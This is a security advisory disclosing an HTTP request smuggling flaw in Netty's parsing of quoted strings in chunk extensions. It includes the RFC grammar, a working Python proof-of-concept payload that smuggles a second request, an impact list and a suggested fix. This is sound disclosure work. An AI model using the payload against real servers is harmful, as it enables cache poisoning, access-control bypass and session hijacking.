Netty: HTTP Request Smuggling via Chunked Extension Quoted-String Parsing

Summary

Netty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.

Background

This vulnerability is a new variant discovered during research into the "Funky Chunks" HTTP request smuggling techniques:

• https://w4ke.info/2025/06/18/funky-chunks.html
• https://w4ke.info/2025/10/29/funky-chunks-2.html

The original research tested various chunk extension parsing differentials but did not cover quoted-string handling within extension values.

Technical Details

RFC 9110 Section 7.1.1 defines chunked transfer encoding:

chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF
chunk-ext = *( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] )
chunk-ext-val = token / quoted-string

RFC 9110 Section 5.6.4 defines quoted-string:

quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE

Critically, the allowed character ranges within a quoted-string are:

qdtext = HTAB / SP / %x21 / %x23-5B / %x5D-7E / obs-text
quoted-pair = "\" ( HTAB / SP / VCHAR / obs-text )

CR (%x0D) and LF (%x0A) bytes fall outside all of these ranges and are therefore not permitted inside chunk extensions—whether quoted or unquoted. A strictly compliant parser should reject any request containing CR or LF bytes before the actual line terminator within a chunk extension with a 400 Bad Request response (as Squid does, for example).

Vulnerability

Netty terminates chunk header parsing at \r\n inside quoted strings instead of rejecting the request as malformed. This creates a parsing differential between Netty and RFC-compliant parsers, which can be exploited for request smuggling.

Expected behavior (RFC-compliant): A request containing CR/LF bytes within a chunk extension value should be rejected outright as invalid.

Actual behavior (Netty):

Chunk: 1;a="value
            ^^^^^ parsing terminates here at \r\n (INCORRECT)
Body: here"... is treated as body or the beginning of a subsequent request

The root cause is that Netty does not validate that CR/LF bytes are forbidden inside chunk extensions before the terminating CRLF. Rather than attempting to parse through quoted strings, the appropriate fix is to reject such requests entirely.

Proof of Concept

#!/usr/bin/env python3
import socket

payload = (
    b"POST / HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"\r\n"
    b'1;a="\r\n'
    b"X\r\n"
    b"0\r\n"
    b"\r\n"
    b"GET /smuggled HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Content-Length: 11\r\n"
    b"\r\n"
    b'"\r\n'
    b"Y\r\n"
    b"0\r\n"
    b"\r\n"
)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)

response = b""
while True:
    try:
        chunk = sock.recv(4096)
        if not chunk:
            break
        response += chunk
    except socket.timeout:
        break

sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))

Result: The server returns two HTTP responses from a single TCP connection, confirming request smuggling.

Parsing Breakdown

Impact

• Request Smuggling: An attacker can inject arbitrary HTTP requests into a connection.
• Cache Poisoning: Smuggled responses may poison shared caches.
• Access Control Bypass: Smuggled requests can circumvent frontend security controls.
• Session Hijacking: Smuggled requests may intercept responses intended for other users.

Reproduction

1. Start the minimal proof-of-concept environment using the provided Docker configuration.
2. Execute the proof-of-concept script included in the attached archive.

Suggested Fix

The parser should reject requests containing CR or LF bytes within chunk extensions rather than attempting to interpret them:

1. Read chunk-size.
2. If ';' is encountered, begin parsing extensions:
   a. For each byte before the terminating CRLF:
      - If CR (%x0D) or LF (%x0A) is encountered outside the
        final terminating CRLF, reject the request with 400 Bad Request.
   b. If the extension value begins with DQUOTE, validate that all
      enclosed bytes conform to the qdtext / quoted-pair grammar.
3. Only treat CRLF as the chunk header terminator when it appears
   outside any quoted-string context and contains no preceding
   illegal bytes.

Acknowledgments

Credit to Ben Kallus for clarifying the RFC interpretation during discussion on the HAProxy mailing list.

Resources

• RFC 9110: HTTP Semantics (Sections 5.6.4, 7.1.1)
• Funky Chunks Research
• Funky Chunks 2 Research

Attachments

java_netty.zip